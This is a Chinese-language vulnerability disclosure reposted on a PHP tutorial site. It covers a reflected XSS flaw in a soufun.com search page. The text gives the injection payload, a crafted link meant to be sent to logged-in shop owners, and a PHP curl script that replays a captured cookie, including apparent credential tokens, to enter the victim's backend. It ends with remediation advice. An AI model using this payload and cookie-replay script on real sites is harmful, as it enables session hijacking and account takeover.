来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 对输入的参数输出过滤不严谨导致反射型xss,泄漏用户cookie,导致信息被盗取,用户被登录这个漏洞在wooyun提了两次,没有审核通过,第二次审核不通过的提示语为:问题确实存在但是危...
对输入的参数输出过滤不严谨导致反射型xss,泄漏用户cookie,导致信息被盗取,用户被登录
这个漏洞在wooyun提了两次,没有审核通过,第二次审核不通过的提示语为:问题确实存在但是危害不大。
楼主认为反射型的xss漏洞可大可小,看怎么去利用。所以楼主现在一步步深挖,看这个漏洞危害可否被放大。
(1)寻找xss漏洞
目标链接:http://home.soufun.com/jiancai/SearchList.aspx
漏洞重现方法:在目标链接处输入 <a href="http://www.wooyun.org"><img src="#"/**/onerror=alert(document.cookie) width=100>点击参加活动</a>,在IE下可以看到反射型xss了。
对于没有登录的用户来说,确实没有什么危害,但是,对于已经登录的用户,我们来看cookie里存放了些什么东西:
如你所见,用户名,加密后的密码,都在这里边。
(2)寻找目标,这是社会工程学的问题了。
找一个搜房 装修帮的用户,也很容易找,如:http://home.soufun.com/shop/40794726/
,发给用户这个链接http://home.soufun.com/jiancai/SearchList.aspx?level=1&q=%3Ca+href%3D%22http%3A%2F%2Fwww.wooyun.org%22%3E%3Cimg+src%3D%22%23%22%2F**%2Fonerror%3Dalert%28document.cookie%29+width%3D100%3E%B5%E3%BB%F7%B2%CE%BC%D3%BB%EE%B6%AF%3C%2Fa%3E&category=&x=57&y=14
标题说什么 搜房网推出什么优惠大活动神马的东西,
如果当前用户已经登录了装修帮后台,并访问了这个链接,那么恭喜,用户被反射型xss攻击了,如果不是alert用户的cookie,而是收集用户的cookie呢?会有什么危害?
(3)假设我们已经通过步骤(2)的xss存储了用户的cookie(其实要收集也很简单,一个http请求就是了),我们通过一下的脚本来跑一跑,看有什么效果:
<?php function explode_cookie($cookie) { $cookie_arr = explode(";", $cookie); foreach ($cookie_arr as $cookie_str) { list($cookie_key,$cookie_value) = explode("=", $cookie_str); $cookie_key = trim($cookie_key); setcookie($cookie_key,$cookie_value,1800,'/','soufun.com'); } } function url_replace($str) { $pattern_var = "/href=(['\"])\//"; $replace_var = "href='http://dianpu.soufun.com/"; if (preg_match($pattern_var, $str)) { $str = preg_replace($pattern_var, $replace_var, $str); } return $str; } $admin_url = array( "http://dianpu.soufun.com/jiancai/dealer/top.aspx", "http://dianpu.soufun.com/jiancai/dealer/left.aspx", "http://dianpu.soufun.com/index.aspx", ); $cookie = "unique_cookie=U_b8nnhkz09nmlasskytp5f3ymg54hk50614w*12; __utmc=77873355; jiatxShopWindow=1; global_cookie=b8nnhkz09nmlasskytp5f3ymg54hk50614w; __utma=77873355.1662561517.1376029049.1376029049.1376037185.2; __utmb=77873355.9.10.1376037185; __utmz=77873355.1376029049.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); passport=usertype=1&userid=42545987&username=testxss89&password=381F5D8A96DFF049&isvalid=6BB50273C1F61D91962B0E259B086163&validation=6BB50273C1F61D912EC3FE322B6620E8917B57BF3DAD9B00; homezxb=sogo_dealerid=64451&Sogo_validation=C89DBE9F840476F053AEB80D5B7645B30D8754A1447B3A21&home_weike_userid=-64451&home_weike_user_validation=C89DBE9F840476F037BB50C741626714147ECDCB693EE44F; rememberRightname=testxss89"; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); explode_cookie($cookie); foreach ($admin_url as $url) { $header = array(); $header[] = "Cookie: {$cookie}\r\n"; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); $data = curl_exec($ch); $data = url_replace($data); echo $data; } curl_close($ch);
上面的脚本的意图就是,模拟http请求装修帮的后台。
正常的后台是这样的:
我们模拟登录后的后台是这样的:
如你所见,我已经登录了当前用户的帐号~
那么还有什么事情不能做呢?
这个漏洞可以做更多有想象力的事情,不管危害如何,希望尽快修复。
修复方案:
(1)建议 不要依赖cookie,连接session断掉之后cookie失效。 (2)修复xss漏洞
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com